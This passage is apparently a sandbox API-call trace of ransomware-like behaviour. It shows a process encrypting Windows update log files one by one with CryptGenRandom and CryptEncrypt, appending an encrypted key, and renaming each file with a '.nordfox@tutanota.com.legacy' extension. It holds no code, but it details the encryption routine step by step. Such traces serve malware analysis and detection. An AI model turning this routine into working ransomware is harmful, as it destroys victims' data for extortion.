GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=12288) returned 1 [0116.983] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3000) returned 0x60dbe8 [0116.983] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3000) returned 0x610bf0 [0116.983] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x3000, lpOverlapped=0x0) returned 1 [0116.990] SetFilePointer (in: hFile=0x694, lDistanceToMove=-12288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.990] WriteFile (in: hFile=0x694, lpBuffer=0x610bf0*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x610bf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3000, lpOverlapped=0x0) returned 1 [0116.990] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0116.990] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610bf0 | out: hHeap=0x520000) returned 1 [0116.991] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3000 [0116.991] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0116.991] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0116.991] WriteFile (in: hFile=0x694, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0116.991] WriteFile (in: hFile=0x694, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0116.992] CloseHandle (hObject=0x694) returned 1 [0116.992] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0116.992] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0116.992] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.013.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.013.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0116.994] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0116.994] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6f00 | out: hHeap=0x520000) returned 1 [0116.994] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6910 | out: hHeap=0x520000) returned 1 [0116.994] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6878 [0116.994] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0116.994] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0116.994] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0116.994] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0116.994] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl", dwFileAttributes=0x80) returned 1 [0116.998] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6d38 [0116.998] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0116.998] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6d38 | out: hHeap=0x520000) returned 1 [0116.999] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.012.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0116.999] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=12288) returned 1 [0116.999] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3000) returned 0x60dbe8 [0116.999] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3000) returned 0x610bf0 [0116.999] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x3000, lpOverlapped=0x0) returned 1 [0117.010] SetFilePointer (in: hFile=0x694, lDistanceToMove=-12288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.010] WriteFile (in: hFile=0x694, lpBuffer=0x610bf0*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x610bf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3000, lpOverlapped=0x0) returned 1 [0117.010] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0117.011] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610bf0 | out: hHeap=0x520000) returned 1 [0117.011] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3000 [0117.011] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.011] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.011] WriteFile (in: hFile=0x694, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.011] WriteFile (in: hFile=0x694, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.012] CloseHandle (hObject=0x694) returned 1 [0117.012] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0117.012] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0117.012] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.012.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.012.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0117.016] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6878 | out: hHeap=0x520000) returned 1 [0117.016] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e67e0 | out: hHeap=0x520000) returned 1 [0117.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e67e0 [0117.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5298 [0117.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3428 [0117.016] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0117.016] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0117.016] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl", dwFileAttributes=0x80) returned 1 [0117.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6878 [0117.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0117.017] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6878 | out: hHeap=0x520000) returned 1 [0117.017] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.011.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0117.017] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0117.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0117.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0117.017] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.022] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.022] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.022] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0117.022] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0117.022] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0117.022] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.022] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.023] WriteFile (in: hFile=0x694, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.023] WriteFile (in: hFile=0x694, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.023] CloseHandle (hObject=0x694) returned 1 [0117.023] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5298 | out: hHeap=0x520000) returned 1 [0117.023] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3428 | out: hHeap=0x520000) returned 1 [0117.023] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.011.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.011.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.025] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0117.025] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e67e0 | out: hHeap=0x520000) returned 1 [0117.025] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e76b8 | out: hHeap=0x520000) returned 1 [0117.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6f00 [0117.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0117.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3468 [0117.025] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0117.025] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3468 | out: pbBuffer=0x5c3468) returned 1 [0117.026] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl", dwFileAttributes=0x80) returned 1 [0117.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e76b8 [0117.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0117.026] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e76b8 | out: hHeap=0x520000) returned 1 [0117.026] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.010.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0117.026] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4096) returned 1 [0117.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1000) returned 0x605cd8 [0117.027] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1000) returned 0x5feca0 [0117.027] ReadFile (in: hFile=0x694, lpBuffer=0x605cd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x605cd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x1000, lpOverlapped=0x0) returned 1 [0117.037] SetFilePointer (in: hFile=0x694, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.037] WriteFile (in: hFile=0x694, lpBuffer=0x5feca0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5feca0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1000, lpOverlapped=0x0) returned 1 [0117.037] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x605cd8 | out: hHeap=0x520000) returned 1 [0117.038] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5feca0 | out: hHeap=0x520000) returned 1 [0117.038] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1000 [0117.038] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.038] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.038] WriteFile (in: hFile=0x694, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.039] WriteFile (in: hFile=0x694, lpBuffer=0x5c3468*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3468*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.039] CloseHandle (hObject=0x694) returned 1 [0117.039] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0117.039] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3468 | out: hHeap=0x520000) returned 1 [0117.039] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.010.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.010.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.041] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0117.041] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6f00 | out: hHeap=0x520000) returned 1 [0117.041] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7588 | out: hHeap=0x520000) returned 1 [0117.041] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6f98 [0117.041] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5298 [0117.041] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3458 [0117.041] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0117.041] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0117.041] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl", dwFileAttributes=0x80) returned 1 [0117.042] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e70c8 [0117.042] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0117.042] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e70c8 | out: hHeap=0x520000) returned 1 [0117.042] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.009.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0117.042] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=12288) returned 1 [0117.043] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3000) returned 0x60dbe8 [0117.043] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3000) returned 0x610bf0 [0117.043] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x3000, lpOverlapped=0x0) returned 1 [0117.044] SetFilePointer (in: hFile=0x694, lDistanceToMove=-12288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.044] WriteFile (in: hFile=0x694, lpBuffer=0x610bf0*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x610bf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3000, lpOverlapped=0x0) returned 1 [0117.044] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0117.044] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610bf0 | out: hHeap=0x520000) returned 1 [0117.044] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3000 [0117.045] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.045] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.045] WriteFile (in: hFile=0x694, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.045] WriteFile (in: hFile=0x694, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.046] CloseHandle (hObject=0x694) returned 1 [0117.046] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5298 | out: hHeap=0x520000) returned 1 [0117.046] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3458 | out: hHeap=0x520000) returned 1 [0117.046] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.009.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.009.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.049] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0117.049] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6f98 | out: hHeap=0x520000) returned 1 [0117.049] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6c08 | out: hHeap=0x520000) returned 1 [0117.049] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e70c8 [0117.049] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4638 [0117.049] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3428 [0117.049] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4638 | out: pbBuffer=0x5c4638) returned 1 [0117.049] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0117.049] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl", dwFileAttributes=0x80) returned 1 [0117.050] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6f00 [0117.050] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0117.050] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6f00 | out: hHeap=0x520000) returned 1 [0117.050] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.008.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0117.050] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0117.050] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0117.050] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0117.050] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.052] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.052] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.052] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0117.052] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0117.052] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0117.052] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.052] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.053] WriteFile (in: hFile=0x694, 